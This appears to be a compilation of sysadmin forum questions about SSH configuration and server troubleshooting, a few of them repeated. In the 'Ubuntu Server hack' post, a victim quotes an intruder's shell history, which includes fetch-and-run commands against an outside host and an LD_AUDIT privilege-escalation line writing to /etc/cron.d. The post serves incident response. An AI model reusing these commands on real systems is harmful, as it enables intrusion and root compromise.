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• Docs for OpenSSH CA-based certificate based authentication

  - by Zoredache

  OpenSSH 5.4 added a new method for certificate authentication (changes). * Add support for certificate authentication of users and hosts using a new, minimal OpenSSH certificate format (not X.509). Certificates contain a public key, identity information and some validity constraints and are signed with a standard SSH public key using ssh-keygen(1). CA keys may be marked as trusted in authorized_keys or via a TrustedUserCAKeys option in sshd_config(5) (for user authentication), or in known_hosts (for host authentication). Documentation for certificate support may be found in ssh-keygen(1), sshd(8) and ssh(1) and a description of the protocol extensions in PROTOCOL.certkeys. Is there any guides or documentation beyond what is mentioned in the ssh-keygen man-page? The man page covers how to generate certificate and use them, but it doesn't really seem to provide much information about the certificate authority setup. For example, can I sign the keys with an intermediate CA, and have the server trust the parent CA? This comment about the new feature seems to mean that I could setup my servers to trust the CA, then setup a method to sign keys, and then users would not have to publish their individual keys on the server. This also seems to support key expiration, which is great since getting rid of old/invalid keys is more difficult then it should be. But I am hoping to find some more documentation about describe the total configuration CA, SSH server, and SSH client settings needed to make this work.

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• Restrict SSH user to connection from one machine

  - by Jonathan

  During set-up of a home server (running Kubuntu 10.04), I created an admin user for performing administrative tasks that may require an unmounted home. This user has a home directory on the root partition of the box. The machine has an internet-facing SSH server, and I have restricted the set of users that can connect via SSH, but I would like to restrict it further by making admin only accessible from my laptop (or perhaps only from the local 192.168.1.0/24 range). I currently have only an AllowGroups ssh-users with myself and admin as members of the ssh-users group. What I want is something that works like you may expect this setup to work (but it doesn't): $ groups jonathan ... ssh-users $ groups admin ... ssh-restricted-users $ cat /etc/ssh/sshd_config ... AllowGroups ssh-users [email protected].* ... Is there a way to do this? I have also tried this, but it did not work (admin could still log in remotely): AllowUsers [email protected].* * AllowGroups ssh-users with admin a member of ssh-users. I would also be fine with only allowing admin to log in with a key, and disallowing password logins, but I could find no general setting for sshd; there is a setting that requires root logins to use a key, but not for general users.

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• SSHing thru an HTTP proxy

  - by Siler

  Typical scenario: I'm trying to SSH thru a corporate HTTP proxy to a remote machine using corkscrew, and I get: ssh_exchange_identification: Connection closed by remote host Obviously, there's a lot of reasons this might be happening - the proxy might not allow this, the remote box might not be running sshd, etc. So, I tried to tunnel manually via telnet: $ telnet proxy.evilcorporation.com 82 Trying XX.XX.XX.XX... Connected to proxy.evilcorporation.com. Escape character is '^]'. CONNECT myremotehost.com:22 HTTP/1.1 HTTP/1.1 200 Connection established So, unless I'm mistaken... it looks like the connection is working. So, why then, doesn't it work via corkscrew? ssh -vvv [email protected] -p 22 -o "ProxyCommand corkscrew proxy.evilcorporation.com 82 myremotehost.com 22" OpenSSH_6.6, OpenSSL 1.0.1f 6 Jan 2014 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * debug1: Executing proxy command: exec corkscrew proxy.evilcorporation.com 82 myremotehost.com 22 debug1: permanently_set_uid: 0/0 debug1: permanently_drop_suid: 0 debug1: identity file /root/.ssh/id_rsa type -1 debug1: identity file /root/.ssh/id_rsa-cert type -1 debug1: identity file /root/.ssh/id_dsa type -1 debug1: identity file /root/.ssh/id_dsa-cert type -1 debug1: identity file /root/.ssh/id_ecdsa type -1 debug1: identity file /root/.ssh/id_ecdsa-cert type -1 debug1: identity file /root/.ssh/id_ed25519 type -1 debug1: identity file /root/.ssh/id_ed25519-cert type -1 debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1 ssh_exchange_identification: Connection closed by remote host

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• SSH X11 forwarding does not work. Why?

  - by Ole Tange

  This is a debugging question. When you ask for clarification please make sure it is not already covered below. I have 4 machines: Z, A, N, and M. To get to A you have to log into Z first. To get to M you have to log into N first. The following works: ssh -X Z xclock ssh -X Z ssh -X Z xclock ssh -X Z ssh -X A xclock ssh -X N xclock ssh -X N ssh -X N xclock But this does not: ssh -X N ssh -X M xclock Error: Can't open display: The $DISPLAY is clearly not set when logging in to M. The question is why? Z and A share same NFS-homedir. N and M share the same NFS-homedir. N's sshd runs on a non standard port. $ grep X11 <(ssh Z cat /etc/ssh/ssh_config) ForwardX11 yes # ForwardX11Trusted yes $ grep X11 <(ssh N cat /etc/ssh/ssh_config) ForwardX11 yes # ForwardX11Trusted yes N:/etc/ssh/ssh_config == Z:/etc/ssh/ssh_config and M:/etc/ssh/ssh_config == A:/etc/ssh/ssh_config /etc/ssh/sshd_config is the same for all 4 machines (apart from Port and login permissions for certain groups). If I forward M's ssh port to my local machine it still does not work: terminal1$ ssh -L 8888:M:22 N terminal2$ ssh -X -p 8888 localhost xclock Error: Can't open display: A:.Xauthority contains A, but M:.Xauthority does not contain M. xauth is installed in /usr/bin/xauth on both A and M. xauth is being run when logging in to A but not when logging in to M. ssh -vvv does not complain about X11 or xauth when logging in to A and M. Both say: debug2: x11_get_proto: /usr/bin/xauth list :0 2>/dev/null debug1: Requesting X11 forwarding with authentication spoofing. debug2: channel 0: request x11-req confirm 0 debug2: client_session2_setup: id 0 debug2: channel 0: request pty-req confirm 1 debug1: Sending environment. I have a feeling the problem may be related to M missing in M:.Xauthority (caused by xauth not being run) or that $DISPLAY is somehow being disabled by a login script, but I cannot figure out what is wrong.

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• Either, nginx+php-fpm bad config or nginx+php-fpm cannot handle high query?

  - by The Wolf

  I have wordpress installed in my server configured(hopefully with nginx+php-fpm+mariaDB). I am trying to import using wordpress importer a 1.5MB xml file. Everytime I try to upload it using the importer, it got cut of... meaning just blank screen result.. Here is my error log: actually I just posted 2 of the errors [error] 858#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: xx.xxx.xx.xx, server: xxx.com, request: "GET xxxx.html HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "xxx.com" [error] 858#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: xxx.x.xx.xx, server: xxx.com, request: "GET xxxx.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "xxx.com" I don't know what is the reason why it can't process the wordpress export .xml. I already increased max_file_upload & etc., but nothing happens. Hope somebody can help me. Here are my conf: nginx.conf user nginx; worker_processes 8; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; server_tokens off; keepalive_timeout 65; fastcgi_read_timeout 500; #gzip on; client_max_body_size 2M; php-fpm.conf ;;;;;;;;;;;;;;;;;;;;; ; FPM Configuration ; ;;;;;;;;;;;;;;;;;;;;; ; All relative paths in this configuration file are relative to PHP's install ; prefix. ; Include one or more files. If glob(3) exists, it is used to include a bunch of ; files from a glob(3) pattern. This directive can be used everywhere in the ; file. include=/etc/php-fpm.d/*.conf ;;;;;;;;;;;;;;;;;; ; Global Options ; ;;;;;;;;;;;;;;;;;; [global] ; Pid file ; Default Value: none pid = /var/run/php-fpm/php-fpm.pid ; Error log file ; Default Value: /var/log/php-fpm.log error_log = /var/log/php-fpm/error.log ; Log level ; Possible Values: alert, error, warning, notice, debug ; Default Value: notice ;log_level = notice ; If this number of child processes exit with SIGSEGV or SIGBUS within the time ; interval set by emergency_restart_interval then FPM will restart. A value ; of '0' means 'Off'. ; Default Value: 0 ;emergency_restart_threshold = 0 ; Interval of time used by emergency_restart_interval to determine when ; a graceful restart will be initiated. This can be useful to work around ; accidental corruptions in an accelerator's shared memory. ; Available Units: s(econds), m(inutes), h(ours), or d(ays) ; Default Unit: seconds ; Default Value: 0 ;emergency_restart_interval = 0 ; Time limit for child processes to wait for a reaction on signals from master. ; Available units: s(econds), m(inutes), h(ours), or d(ays) ; Default Unit: seconds ; Default Value: 0 ;process_control_timeout = 0 ; Send FPM to background. Set to 'no' to keep FPM in foreground for debugging. ; Default Value: yes daemonize = no ;;;;;;;;;;;;;;;;;;;; ; Pool Definitions ; ;;;;;;;;;;;;;;;;;;;; ; See /etc/php-fpm.d/*.conf [root@host etc]# vim php-fpm.conf [root@host etc]# vim php-fpm.conf ; Default Value: notice ;log_level = notice ; If this number of child processes exit with SIGSEGV or SIGBUS within the time ; interval set by emergency_restart_interval then FPM will restart. A value ; of '0' means 'Off'. ; Default Value: 0 ;emergency_restart_threshold = 0 ; Interval of time used by emergency_restart_interval to determine when ; a graceful restart will be initiated. This can be useful to work around ; accidental corruptions in an accelerator's shared memory. ; Available Units: s(econds), m(inutes), h(ours), or d(ays) ; Default Unit: seconds ; Default Value: 0 ;emergency_restart_interval = 0 ; Time limit for child processes to wait for a reaction on signals from master. ; Available units: s(econds), m(inutes), h(ours), or d(ays) ; Default Unit: seconds ; Default Value: 0 ;process_control_timeout = 0 ; Send FPM to background. Set to 'no' to keep FPM in foreground for debugging. ; Default Value: yes daemonize = no ;;;;;;;;;;;;;;;;;;;; ; Pool Definitions ; ;;;;;;;;;;;;;;;;;;;; ; See /etc/php-fpm.d/*.conf ps aux [root@host etc]# ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 2900 1380 ? Ss Jun02 0:00 init root 2 0.0 0.0 0 0 ? S Jun02 0:00 [kthreadd/9308] root 3 0.0 0.0 0 0 ? S Jun02 0:00 [khelper/9308] root 124 0.0 0.0 2464 576 ? S<s Jun02 0:00 /sbin/udevd -d root 460 0.0 0.1 35976 1308 ? Sl Jun02 0:00 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5 root 474 0.0 0.0 8940 1028 ? Ss Jun02 0:00 /usr/sbin/sshd root 481 0.0 0.0 3264 876 ? Ss Jun02 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid root 491 0.0 0.1 6268 1432 ? S Jun02 0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/host.busilak.com. mysql 584 0.1 6.8 679072 71456 ? Sl Jun02 0:04 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --use root 586 0.0 0.3 12008 3820 ? Ss Jun02 0:01 sshd: root@pts/0 root 629 0.0 0.0 9140 756 ? Ss Jun02 0:00 /usr/sbin/saslauthd -m /var/run/saslauthd -a pam -n 2 root 630 0.0 0.0 9140 520 ? S Jun02 0:00 /usr/sbin/saslauthd -m /var/run/saslauthd -a pam -n 2 root 645 0.0 0.1 12788 1928 ? Ss Jun02 0:01 sendmail: accepting connections smmsp 653 0.0 0.1 12576 1728 ? Ss Jun02 0:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue root 691 0.0 0.1 7148 1184 ? Ss Jun02 0:00 crond root 698 0.0 0.1 6272 1688 pts/0 Ss Jun02 0:00 -bash root 1006 0.0 0.0 7828 924 ? Ss 00:30 0:00 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf nginx 1007 0.0 0.1 8156 1724 ? S 00:30 0:00 nginx: worker process nginx 1008 0.0 0.1 8024 1360 ? S 00:30 0:00 nginx: worker process nginx 1009 0.0 0.1 8020 1356 ? S 00:30 0:00 nginx: worker process nginx 1011 0.0 0.1 8024 1360 ? S 00:30 0:00 nginx: worker process nginx 1012 0.0 0.1 8024 1360 ? S 00:30 0:00 nginx: worker process nginx 1013 0.0 0.1 8024 1360 ? S 00:30 0:00 nginx: worker process nginx 1014 0.0 0.1 8024 1360 ? S 00:30 0:00 nginx: worker process nginx 1015 0.0 0.1 8024 1344 ? S 00:30 0:00 nginx: worker process root 1030 0.0 0.2 25396 2904 ? Ss 00:30 0:00 php-fpm: master process (/etc/php-fpm.conf) apache 1031 0.0 1.9 40700 20624 ? S 00:30 0:00 php-fpm: pool www apache 1032 0.0 2.0 41924 21888 ? S 00:30 0:01 php-fpm: pool www apache 1033 0.0 1.9 41212 20848 ? S 00:30 0:01 php-fpm: pool www apache 1034 0.0 1.9 40956 20792 ? S 00:30 0:01 php-fpm: pool www apache 1035 0.0 2.0 41560 21556 ? S 00:30 0:02 php-fpm: pool www apache 1040 0.0 1.8 39292 19120 ? S 00:30 0:00 php-fpm: pool www root 1125 0.0 0.0 6080 1040 pts/0 R+ 01:04 0:00 ps aux netstat -l [root@host etc]# netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:ssh *:* LISTEN tcp 0 0 localhost.localdomain:smtp *:* LISTEN tcp 0 0 localhost.locald:cslistener *:* LISTEN tcp 0 0 *:mysql *:* LISTEN tcp 0 0 *:http *:* LISTEN tcp 0 0 *:ssh *:* LISTEN Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 60575947 /var/run/saslauthd/mux unix 2 [ ACC ] STREAM LISTENING 60574168 @/com/ubuntu/upstart unix 2 [ ACC ] STREAM LISTENING 60575873 /var/lib/mysql/mysql.sock Hope somebody can help me to figure out what is the problem.

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• Remove server hangs, gets stuck. How to debug?

  - by bibstha

  I have an vps running on VmWare ESX with Ubuntu 8.04 LTS. It has been running smoothly for the past 3 months, however recently we've notices two strange bugs. a. The server hangs, today was second time. The nature of the hang is very strange. I can ping to the server server, it sends back response fine. However all other services like sshd, apache, mysql etc do not respond at all. When working, telnet servername 22 Escape character is '^]'. SSH-2.0-OpenSSH_5.X Debian-5ubuntu1 And other web services would run fine. When its hung, I can make tcp connections to 22 as well as 80 but receive no response at all. telnet servername 22 Escape character is '^]'. How can I debug this problem? Is there any daemons I can run that will periodically log status? Please tell me as to how to proceed with it. b. The another strange problem is that, of lately I am unable to transfer files larger than around 100KB, smaller files of around 1-2 KB works file. scp anotherserver:filename . or wget http://www.example.com/file would get stuck. There is still around 6GB of space remaining, so I don't think that is an issue. Any pointers where I should look into?

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• Unattended Kickstart Install

  - by Eric

  I've looked around quite a bit and have seen similar setup and questions, but none seem to work for me. I'm using the following command to create a custom ISO: /usr/bin/livecd-creator --config=/usr/share/livecd-tools/test.ks --fslabel=TestAppliance --cache=/var/cache/live This works great and it creates the ISO with all of the packages and configs I want on it. My issue is that I want the install to be unattended. However, every time I start the CD, it asks for all of the info such as keyboard, time zone, root password, etc. These are my basic settings I have in my kickstart script prior to the packages section. cdrom install autopart autostep xconfig --startxonboot rootpw testpassword lang en_US.UTF-8 keyboard us timezone --utc America/New_York auth --useshadow --enablemd5 selinux --disabled services --enabled=iptables,rsyslog,sshd,ntpd,NetworkManager,network --disabled=sendmail,cups,firstboot,ip6tables clearpart --all So after looking around, I was told that I need to modify my isolinux.cfg file to either do "ks=http://X.X.X.X/location/to/test.ks" or "ks=cdrom:/test.ks". I've tried both methods and it still forces me to go through the install process. When I tail the apache logs on the server, I see that the ISO never even tries to get the file. Below are the exact syntax I'm trying on my isolinux.cfg file. label http menu label HTTP kernel vmlinuz0 append initrd=initrd0.img ks=http://192.168.56.101/files/test.ks ksdevice=eth0 label localks menu label LocalKS kernel vmlinuz0 append initrd=initrd0.img ks=cdrom:/test.ks label install0 menu label Install kernel vmlinuz0 append initrd=initrd0.img root=live:CDLABEL=PerimeterAppliance rootfstype=auto ro liveimg liveinst noswap rd_NO_LUKS rd_NO_MD rd_NO_DM menu default EOF_boot_menu The first 2 give me a "dracut: fatal: no or empty root=" error until I give it a root= option and then it just skips the kickstart completely. The last one is my default option that works fine, but just requires a lot of user input. Any help would be greatly appreciated.

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• Port 22 is not responding

  - by Emanuele Feliziani

  I'm trying to make the jump to VPS from shared hosting for better performances and greater flexibility, but am stuck with the fact that I can't access the machine via ssh. First of all, the machine is a CentOS 6.3 cPanel x64 with WHM 11.38.0. Sshd is running (it appears in the current running processes). Making a port scan I see that port 22 is not responding. Port 21 is, but I am not able to access the machine via ftp (I think it's a security measure, but I don't know where to disable/enable it). So, I'm stuck in WHM and have no way to access the configuration of the machine, neither via ssh nor with ftp/sftp. When trying to connect with ssh via Terminal I only get this: ssh: connect to host xx.xx.xxx.xxx port 22: Operation timed out I also tried to access with the hostname instead of the IP address and it's the same. There seem to be no firewall in WHM and I have whitelisted my home IP address to access ssh, though there were no restrictions in the first place. I have been wandering through all the settings and options in WHM for several hours now, but can't seem to find anything. Does anybody have a clue as to where I should start investigating? Update: Thanks everyone. It was in fact a matter of firewall. There was a firewall not controlled by the WHM software. I managed to crack into the console from the vps control panel (a terrible, terrible java app that barely took my keyboard input) and disabled the firewall altogether running service iptables stop so that I was able to access the console via ssh with the terminal. Now I will have to set up the firewall again because the command I ran looks like having completely wiped the iptables. Can you recommend any newby-friendly resource where I can learn how to go about this and what should I block? Or should I just go with something like this: http://configserver.com/cp/csf.html ? Thanks again to everyone who helped me out.

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• Ubuntu Server hack

  - by haxpanel

  Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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• SSH attack CentOS Amazon EC2

  - by user37143

  Hi, I run a few Rightscale CentOS AMI based instances on Amazon EC2. Two months back I found that our SSHD security is compromised( I had added host.allow and host.deny for ssh). So I created new instances and done an IP based ssh that allows only our IPs through AWS Firewall(ec2-authorize) and chnaged the ssh 22 default port to some other port but two days back I found I was not able to login to the server and when I tried on 22 port the ssh got connected and I found that sshd_conf was changed and when I tried to edit sshd_config I found root had no write permission on the file. So I tried a chmod and it said access denied for 'root' user. This is very strange. I checked secure log and history and found nothing informative. I have PHP, Ruby On Rails, Java, Wordpress apps running on these server. This time I did a chkrootkit scan and found nothing. I renamed the /etc/ssh folder and reinstalled openssh through yum. I had faced this on 3 instances on CentOS(5.2, 5.4) I have instances on Debian as well those working fine. Is this a CentOS/Rightscale issue. Guys, what security measures I should take to prevent this. Please support me this is very critical. Thanks

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• Restrict SSH user to connection from one machine

  - by Jonathan

  During set-up of a home server (running Kubuntu 10.04), I created an admin user for performing administrative tasks that may require an unmounted home. This user has a home directory on the root partition of the box. The machine has an internet-facing SSH server, and I have restricted the set of users that can connect via SSH, but I would like to restrict it further by making admin only accessible from my laptop (or perhaps only from the local 192.168.1.0/24 range). I currently have only an AllowGroups ssh-users with myself and admin as members of the ssh-users group. What I want is something that works like you may expect this setup to work (but it doesn't): $ groups jonathan ... ssh-users $ groups admin ... ssh-restricted-users $ cat /etc/ssh/sshd_config ... AllowGroups ssh-users [email protected].* ... Is there a way to do this? I have also tried this, but it did not work (admin could still log in remotely): AllowUsers [email protected].* * AllowGroups ssh-users with admin a member of ssh-users. I would also be fine with only allowing admin to log in with a key, and disallowing password logins, but I could find no general setting for sshd; there is a setting that requires root logins to use a key, but not for general users.

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• ssh_exchange_identification: Connection closed by remote host

  - by rick

  Firstly, I know that this question has been asked a million times, and I have read everything I can find and still cannot fix the problem. i am encountering this issue when ssh'ing in from my mac to my Ubuntu server on a fresh install of Ubuntu (I reinstalled because of this issue). I have SSH portmapped to 7070 because my ISP is blocking 22. On the client: bash: ssh -p 7070 -v [email protected] debug1: Reading configuration data /etc/ssh_config debug1: Connecting to address.org port 7070. debug1: Connection established. debug1: identity file /home/me/.ssh/identity type -1 debug1: identity file /home/me/.ssh/id_rsa type 1 debug1: identity file /home/me/.ssh/id_dsa type -1 ssh_exchange_identification: Connection closed by remote host Here's what I have done to try to resolve the issue: Made sure my maxstartups is ok: bash: grep MaxStartups /etc/ssh/sshd_config #MaxStartups 10:30:60 Made sure hosts.deny is clear of denials. Made sure hosts.allow has my client IP. Clear out known_hosts on client Changed ownership of /var/run to root Made sure etc/run/ssh is Made sure /var/empty exists Reinstall openssh-server Reinstall ubuntu When I run telnet localhost, I get this: telnet localhost Trying ::1... Trying 127.0.0.1... telnet: Unable to connect to remote host: Connection refused When I run /usr/sbin/sshd -t Could not load host key: /etc/ssh/ssh_host_rsa_key Could not load host key: /etc/ssh/ssh_host_dsa_key When I regenerate the keys with ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key I get the same error. I am pretty sure this is the issue. Can anyone help?

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• SSH tunnel for socks5 proxy is slow with concurrent load

  - by RawwrBag

  I ssh to a remote AWS server using Ubuntu. I use ssh's port forwarding capabilities to do this. I have tried forwarding a dynamic port (ssh -D) or a single port (ssh -L with dante running as a remote socks server). Both are equally slow. I also tried different ciphers (ssh -c). Concurrent TCP connections pretty much do not work. For example, I can go to speedtest.net and start a test (which is fairly fast, probably maxes out my line speed) and if I try and do anything (i.e. load google.com) while the test is still running, all the additional connections seem to hang until the speed test is over. I realize OpenSSH is single-threaded. Is this the problem? It doesn't even show up on my top. Same goes for sshd on the remote server -- no processor hit. Is there anyway to bump ssh performance or should I step up to OpenVPN or something better suited for this?

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• Windows-to-linux: Putty with SSH and private/public key pair

  - by Johnny Kauffman

  I spent about 3 hours trying to figure out how to connect to a linux box from my windows machine using putty without having to send the password. This is connecting to an Ubuntu server that is using OpenSSH. The private key is SSH-2 RSA, 1024 bits. I am connecting using SSH2. I have run into the more common problems already: Putty generated the public key in the "wrong format". I have corrected this (as seen on this blog post). However, since I am not yet connected, I cannot absolutely confirm that this file is in the correct format. The key is all on a single line now, and I have tried adding/removing line breaks at the end of the file. I've also tried the public file doctoring process a few times to ensure that I haven't flubbed up the manual conversion. Even so, I have no way to verify accuracy here. The permissions were at once point wrong as well, specifically meaning that the file had too many permissions. I had to solve this too and I know it got past this because I no longer see a related error in /var/log/auth.log. I've tried both authorized_keys and authorized_keys2 in case the server has an old version of OpenSSH, but this changed nothing. I do have access as a user. After this keyfile stuff fails, I can enter my password instead The only remaining nibble of information I have is that it claims I have the alleged password wrong: sshd[22288]: Failed password for zzzzzzz from zz.zz.zz.zz port 53620 ssh2 Even so, as far as I can tell, this is just a lazy try/catch somewhere, since I don't think there's a password involved at all. I see nothing else in any of the /var/log files of use. What else could be wrong?

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• Server-side SSH jump hosts

  - by Dan Sosedoff

  Trying to figure out server side SSH jump hosts logic. Current network schema: [Client] <--> [Server A: hostname: a.com] <--> [Server B] [Client] <--> [Server A: hostname: b.com] <--> [Server C] Server A responds to both DNS records. Possible flow: Client opens a ssh connection with ssh [email protected]. Server A accepts it and should automatically jump user onto Server B with ssh user2@server_b.com. Client opens a ssh connection with ssh [email protected]. Server A accepts it and should automatically just user onto Server C with ssh user2@server_c.com. In other words, client should be able to connect to the target without performing any local configuration, assuming that we have a stock ssh config. The problem with ssh jumps is that user has to define hosts in local ~/.ssh/config file, which is not acceptable in my case. It needs to be a default sshd behavior. Im aware that you can define a custom command ~/.ssh/authorized_keys on server, but i dont think there is a way to properly detect source hostname where user tries to connect. It is possible at all ?

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• Can't see more than the first few lines in an SSH connection

  - by hello

  I need some help for SSH buffer size. I have a vista machine at home and i have installed "Free SSHD" on it. I also have Dynamic DNS setup to access some of my home lab equipment which are connected to this vista machine. From my work machine which is an XP machine I connect to my home machine using Putty. Everything up to this point is working fine without any problem. The issue is I can't see more lines than the first few lines of the output. I press the space bar to get more output off the screen and the output scrolls up and it gets lost as the more output gets displayed on the screen. The Putty client i am using on my work machine has been setup with enough buffer size but the output still only displays few lines and as it moves up, the buffer gets empty automatically. I have searched the entire web and haven’t found any proper solution any where. Can someone please help here? Thanks.

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• SQL Server Unattended Install through SSH

  - by Samuel

  I'm trying to install SQL Server from the command line through Cygwin open-ssh. The install works when I log onto the server as Administrator and execute the script through a Cygwin shell, but the install doesn't work when I SSH into the machine using Administrator's credentials and run the exact same command. I've already verified that the SSHD process is running as the Admistrator, and I've verified that the install script is indeed starting under Administrator. Is there something different with the terminal in SSH vs. the Cygwin terminal on the machine that would cause this problem? Specifically what's failing is Sql Server install runs for a while then hangs with a MSI error 1622. "Error opening installation log file. Verify that the specified log file location exists and is writable." If I run both installs, I've noticed that they have different authentication id's in ProcMon, but they have the exact same command line parameters. There has to be something in SSH that is causing permissions issues... Any ideas?

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• How to configure hostname for `apache22` package on FreeBSD?

  - by Eonil

  I'm configuring development & test FreeBSD machine on VM. I installed apache22 package and restarted. But the daemon does not started with this error: %apachectl start httpd: apr_sockaddr_info_get() failed for test.box httpd: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName (13)Permission denied: make_sock: could not bind to address [::]:80 (13)Permission denied: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down Unable to open logs % My hostname is test.box. Because this is temporary test box, it has no real domain-name. But I used 2-level name to avoid long time waiting of sshd on booting. However, I searched web, and I modified /etc/hosts file like this (I didn't touches this file before): # This is original configuration #::1 localhost localhost.my.domain #127.0.0.1 localhost localhost.my.domain # New configuration ::1 localhost test.box 127.0.0.1 localhost test.box 127.0.0.1 test.box test Now apache fails with this error message: %apachectl start httpd: Could not reliably determine the server's fully qualified domain name, using test.box for ServerName (13)Permission denied: make_sock: could not bind to address [::]:80 (13)Permission denied: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down Unable to open logs % I don't know what's required now. Please let me know reason and solution of this error. ---- (edit) ---- The permission errors are caused from omission of sudo.

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• SSH attcack CentOS Amazon EC2

  - by user37143

  Hi, I run a few Rightscale CentOS AMI based instances on Amazon EC2. Two months back I found that our SSHD security is compromised( I had added host.allow and host.deny for ssh). So I created new instances and done an IP based ssh that allows only our IPs through AWS Firewall(ec2-authorize) and chnaged the ssh 22 default port to some other port but two days back I found I was not able to login to the server and when I tried on 22 port the ssh got connected and I found that sshd_conf was changed and when I tried to edit sshd_config I found root had no write permission on the file. So I tried a chmod and it said access denied for 'root' user. This is very strange. I checked secure log and history and found nothing informative. I have PHP, Ruby On Rails, Java, Wordpress apps running on these server. This time I did a chkrootkit scan and found nothing. I renamed the /etc/ssh folder and reinstalled openssh through yum. I had faced this on 3 instances on CentOS(5.2, 5.4) I have instances on Debian as well those working fine. Is this a CentOS/Rightscale issue. Guys, what security measures I should take to prevent this. Please support me this is very critical. Thanks

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• SSH hangs when executing command remotely

  - by Serty Oan

  Client : OpenSSH_5.1p1 Debian-5ubuntu1 (Ubuntu 9.04) Server : OpenSSH_5.1p1 Debian-5 (Proxmox 2.6.24-7-pve) I use SSH to execute commands remotely on the server (module check_by_ssh of Nagios). But SSH hangs from time to time when trying to execute commands. I can log to the server via SSH but not executing a simple 'ls'. And it seems to block from all clients from the same IP address. Authentication is not the problem, may it be made by SSH keys or password. ssh -l root -p 2222 server.domain.tld 'ls' Here the client debug info debug1: Entering interactive session. debug2: callback start debug2: client_session2_setup: id 0 debug1: Sending environment. debug3: Ignored env ORBIT_SOCKETDIR *** skipping approx 40 env var ignored debug1: Sending command: ls debug2: channel 0: request exec confirm 1 It hangs there. Then after a random time, it works again (without doing anything). Killing all sshd process on the server seems to work too. It works from a Putty. I saw that some people had trouble like this due to ISP reverse DNS problem, but it does not seem to be the case here. It can work for hours and then not work for half an hour or so. What could explain this behaviour ?

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• Reverse SSH tunnel: how can I send my port number to the server?

  - by Tom

  I have two machines, Client and Server. Client (who is behind a corporate firewall) opens a reverse SSH tunnel to Server, which has a publicly-accessible IP address, using this command: ssh -nNT -R0:localhost:2222 [email protected] In OpenSSH 5.3+, the 0 occurring just after the -R means "pick an available port" rather than explicitly calling for one. The reason I'm doing this is because I don't want to pick a port that's already in use. In truth, there are actually many Clients out there that need to set up similar tunnels. The problem at this point is that the server does not know which Client is which. If we want to connect back to one of these Clients (via localhost) then how do we know which port refers to which client? I'm aware that ssh reports the port number to the command line when used in the above manner. However, I'd also like to use autossh to keep the sessions alive. autossh runs its child process via fork/exec, presumably, so that the output of the actual ssh command is lost in the ether. Furthermore, I can't think of any other way to get the remote port from Client. Thus, I'm wondering if there is a way to determine this port on Server. One idea I have is to somehow use /etc/sshrc, which is supposedly a script that runs for every connection. However, I don't know how one would get the pertinent information here (perhaps the PID of the particular sshd process handling that connection?) I'd love some pointers. Thanks!

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• SSH with public/private key to iMac fails.

  - by bennedich

